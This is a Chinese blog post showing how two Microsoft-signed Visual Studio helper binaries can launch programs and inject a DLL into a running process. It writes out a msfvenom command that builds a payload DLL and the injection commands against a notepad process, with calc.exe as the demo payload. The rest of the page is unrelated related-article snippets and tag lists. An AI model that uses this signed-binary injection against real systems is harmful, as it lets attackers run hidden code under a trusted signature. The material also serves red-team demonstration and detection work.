有趣的命令行系列，使用微软签名的二进制文件进行dll inject
off999 2025-06-18 23:30 34 浏览 0 评论
有趣的命令行系列又来了，这次带来了两个新的命令，是安装visual studio ide时，勾选了nodejs和python才有的。
第一个命令是
Microsoft.NodejsTools.PressAnyKey.exe，默认目录是在C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\IDE\Extensions\Microsoft\NodeJsTools\NodeJsTools。微软的IDE下的工具当然带有微软的数字签名了。
这个命令比较简单，默认语法是：
Microsoft.NodejsTools.PressAnyKey.exe normal <random-file-name> <exe>
你可以把
Microsoft.NodejsTools.PressAnyKey.exe拷贝出来单独用，像我是放在了D盘。
运行计算器：
Microsoft.NodejsTools.PressAnyKey.exe normal 1 calc.exe
第二个命令是inject_dll_amd64.exe，当然同目录下也有个inject_dll_x86.exe。目录在
C:\Program Files(x86)\Microsoft Visual Studio\2019\Community\Common7\IDE\Extensions\Microsoft\Python\Core\debugpy\_vendored\pydevd\pydevd_attach_to_process
看名字就知道是用来dll inject的，也是带有微软签名的。我们先来生成一个执行计算器的dll。我生成的是64位的。
msfvenom -a x64 --platform windows -p windows/x64/exec CMD="calc.exe" -f dll -o calc.dll
我们来执行看一下。
taskkill /f /im notepad.exe //杀死记事本进程
notepad && tasklist |find "notepad.exe" //找到记事本进程的pid。
inject_dll_amd64.exe 11904 D:\dll_inject_vs_binaries\calc64.dll
//calc64.dll就是kali下生成的，我改了个名。11904是刚启动的记事本的pid。
我也试过用别的进程的pid，用了chome的没成功，用记事本的成功了。
当然你用inject_dll_x86.exe就要用32位的dll了。最后再附一个如何用go语言写dllmain样式的dll代码吧。
编译方法是go build -ldflags "-s -w" -buildmode=c-shared -o calc.dll 1.go。
相关推荐
- 笔记本无音频输出设备（笔记本无音频输出设备）
-
1、没有声卡驱动，解决方法就是找到笔记本的官网，下载电脑声卡的驱动安装即可。2、没有外界的音频播放设备，解决方法就是买一个外界的音频播放设备插到电脑主机的音频接口上即可。笔记本电脑显示未安装任何音频输...
- iso文件能用手机打开吗（iso文件能用手机打开吗安全吗）
-
一般的压缩软件就可以打开的，比如，好压软件，这个打开只是解压形式的，如果你说的是运行iso文件，这个没有，况且安卓系统也不支持iso运行ISO文件一般用于光盘镜像文件的存储，如果想要在手机上运行ISO...
- win7系统卡顿怎么优化（win7很慢很卡怎么优化）
-
1、首先打开安全卫士，进入安全卫士首页，单击软件窗口右下角的“更多”图标，打开扩展应用程序。2、单击选择“我的工具”。3、在我的工具菜单里面找到“人工服务”单击打开人工服务。4、在人工服务对话框有很多...
- 如何查看c盘微信聊天记录（如何查看c盘微信聊天记录内存大小）
-
微信群中的消息只要没删除基本都能保存，想要找微信群中几个多月前的消息可以直接根据日期来查找聊天记录。操作如下：1、打开想要查找记录的微信群，点击右上角人形图标；2、点击查找聊天内容；3、选择按日...
- office2016家庭版激活密钥（office家庭版激活码2019）
-
走淘宝吧，因为零售版的密钥只能用一次。大概几块钱就能激活2016。如果你不在乎钱的话可以向我一样，订阅一个office365.实在不行可以和几个人一起买一个家庭版的365.出现这个情况，找微软申诉是没...
- 移动硬盘驱动器下载安装（移动硬盘驱动器下载安装教程）
-
1、右键单击您的桌面，选择“新建文件夹”，并命名该文件夹(例如“usb驱动程序”)；2、然后到本站下载驱动程序；3、将其解压缩至在您的桌面上刚刚创建的usb驱动程序文件夹；4、单击开始菜单，然后选择设...
- 电脑硬盘格式化工具（电脑 格式化硬盘）
-
硬盘格式化工具很多，PQMACGIG8.0（中文就叫硬盘分区魔法师）是比较好的一个，这个是在WINDOWS下比叫好用，（个人感觉）FDISK也是比较好的一个，这个一般用在DOS下分区格式化WIN...
- photoshop是一款什么软件（ps指的是什么软件）
-
这个说法是错误的，ps软件“即：photoshop”是由美国著名的“adobe阿多比”公司出品的专业的图像处理软件，它不是由微软公司出品的软件。众所周知的是，微软公司以设计视窗操作系统名满全球，它出...
- ipad越狱的好处与坏处（ipad越狱好不好）
-
好处一： 1、重命名、重组应用程序 如果你看着Sparrow(iOS最优秀邮件客户端)这个名字不爽，越狱之后就可以改成“Email”，如果你觉得“豆瓣电台”这个名字不给力，那就改成“中央人民广...
- win7光盘重装系统步骤图解（win7光盘如何重装系统）
-
1.确认您的电脑支持从光盘启动。如果支持，可以直接将Windows7安装光盘插入电脑的光驱中。 2.打开电脑，按下F2、F10、F12或Delete等键进入BIOS设置界面。 ...
- 电脑已联网却无法上网（电脑已经联网了但是不能上网）
-
电脑连上网后，仍可能存在无法上网的情况，这可能是由多种原因造成的。以下是一些可能的原因和解决方法：1.浏览器问题：有时候，浏览器可能会出现故障，导致无法正常访问网络。您可以尝试清除浏览器的缓存和co...
- u盘价格一览表（u盘单价）
-
不同品牌价格不同，不同内存价格也不同，例如8g、16g、32g、64g等多种容量大小的，根据容量的不同，报价在29元到120元之间不等。闪存盘虽然小，但相对来说却有很大的存储容量。U盘大多能够存储比一...
- windows查看ip命令（windows如何查看ip地址）
-
查看电脑IP： 1)使用Windows+R键打开“运行”窗口，然后输入CMD进入命令提示窗口2)进入命令窗口之后，输入：ipconfig/all回车即可...
- 内存条的作用（内存条的作用和参数配置）
-
内存条是存储电脑运行所需的数据和程序，帮助CPU快速读取和运行，提高计算机的运行速度和处理能力。内存条也被称为随机存取存储器（RAM），是电脑中非常必要的一个组件。常见的内存条类型有DDR、DDR2、...
- autocad2012安装失败（autocad2012无法安装）
-
如果您遇到CAD2012安装不了的问题，可能有几个原因导致这种情况。以下是一些常见的解决方法：1.确保系统要求：首先，请确保您的计算机符合CAD2012的系统要求。检查您的操作系统版本、内存、处理器...
欢迎 你 发表评论:
- 一周热门
-
-
抖音上好看的小姐姐，Python给你都下载了
-
全网最简单易懂!495页Python漫画教程，高清PDF版免费下载
-
Python 3.14 的 UUIDv6/v7/v8 上新，别再用 uuid4 () 啦!
-
飞牛NAS部署TVGate Docker项目，实现内网一键转发、代理、jx
-
python入门到脱坑 输入与输出—str()函数
-
宝塔面板如何添加免费waf防火墙?（宝塔面板开启https）
-
Python三目运算基础与进阶_python三目运算符判断三个变量
-
(新版)Python 分布式爬虫与 JS 逆向进阶实战吾爱分享
-
失业程序员复习python笔记——条件与循环
-
系统u盘安装（win11系统u盘安装）
-
- 最近发表
- 标签列表
-
- python计时 (73)
- python安装路径 (56)
- python类型转换 (93)
- python进度条 (67)
- python吧 (67)
- python的for循环 (65)
- python格式化字符串 (61)
- python静态方法 (57)
- python列表切片 (59)
- python面向对象编程 (60)
- python 代码加密 (65)
- python串口编程 (77)
- python封装 (57)
- python写入txt (66)
- python读取文件夹下所有文件 (59)
- python操作mysql数据库 (66)
- python获取列表的长度 (64)
- python接口 (63)
- python调用函数 (57)
- python多态 (60)
- python匿名函数 (59)
- python打印九九乘法表 (65)
- python赋值 (62)
- python异常 (69)
- python元祖 (57)